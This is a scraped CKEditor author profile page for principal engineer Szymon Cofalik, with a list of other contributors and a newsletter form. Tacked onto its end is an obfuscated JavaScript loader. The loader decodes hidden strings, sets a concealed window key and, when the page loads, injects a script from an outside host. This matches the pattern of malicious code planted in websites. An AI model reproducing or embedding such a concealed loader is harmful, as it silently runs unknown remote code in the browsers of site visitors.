View all authors
Szymon Cofalik

Szymon Cofalik

Principal Engineer, CKEditor

Statistics

Active from:

Published: 3

Expertise

  • JavaScript
  • Algorithms
  • Software Architecture
  • Problems solving
  • API design
  • Technical leadership
  • Rich-text editors
  • Operational transformation
Meet the author

Szymon Cofalik is a dedicated software engineer with over 15 years of experience in the industry. With his abstract thinking skills and love for problem-solving, he is always on the frontlines of creating innovative solutions like real-time collaboration or AI-powered features.

Szymon Cofalik's passion for web development started early—he created his first website before even having access to the Internet. Later, he started a two-person web development business, which he managed for a few years. In addition to software development experience, this allowed him to grow product-related skills as well as end-user empathy, both essential for building successful products.

During his ten-year-long career at CKEditor, he focused on developing the editor architecture and the collaboration features suite. Today, as a principal engineer, he fills a unique role that combines his technical expertise, vast domain knowledge, and product-oriented thinking.

Other than computer science, Szymon Cofalik enjoys all kinds of gaming—be it board, card, or video games.

Meet CKEditor's contributors

Aleksander Nowodziński

Technical Leader, CKEditor

Published: 3
Dan O’Keefe

Technical Content Manager, CKEditor

Published: 23
Dominik Szczepaniak

Software Engineer, CKEditor

Published: 1
Filip Sobol

Staff Engineer, CKEditor

Published: 2
Filip Tokarski

QA Engineer / Customer Solution Engineer, CKEditor

Published: 1
Gökçe Tosun

Product Marketing Manager, CKEditor

Published: 77
Hubert Grzesiek

Senior Director of Product Marketing

Published: 2
Jacek Bogdański

Engineering Manager, CKEditor

Published: 12
Łukasz Datkowski

Frontend Developer / UX Designer, CKEditor

Published: 1
Łukasz Kujawski

Senior Software Engineer

Published: 1
Marcin Dusza

Senior Product Manager, CKEditor

Published: 1
Mateusz Bagiński

Senior Fullstack Engineer, CKEditor

Published: 1
Mateusz Gorzeliński

Software Engineer

Published: 1
Mateusz Pytel

Fullstack Developer / Team leader, CKEditor

Published: 3
Ondřej Chrastina

Developer Advocate, CKEditor

Published: 10
Paweł Wiaderny

Product Owner, CKEditor

Published: 5
Piotr Koszuliński

Director of Engineering, CKEditor

Published: 9
Roman Khudonogov

Head of Product at Tiugo Technologies

Published: 1
Tomasz Jakut

Senior Software Engineer / Web Standards Expert, CKEditor

Published: 14
Wiktor Walc

CTO, Tiugo Technologies

Published: 3
Witek Socha

Senior Technical Product Manager, CKEditor 5

Published: 1
Wojtek Cichoń

Senior Product Marketing Manager

Published: 14
Published: 50
Published: 40
Published: 5
Published: 27
Published: 1
Published: 1
Published: 20
Published: 4
Published: 20
Published: 24
Published: 1
Published: 12
Published: 3
Published: 7
Published: 1
Published: 6
Published: 7
Published: 1
Published: 5

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

contact_confirmation
policy
eventId

Input email to subscribe to newsletter

Subscription failed

Thanks for subscribing!

HiddenGatedContent.

window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });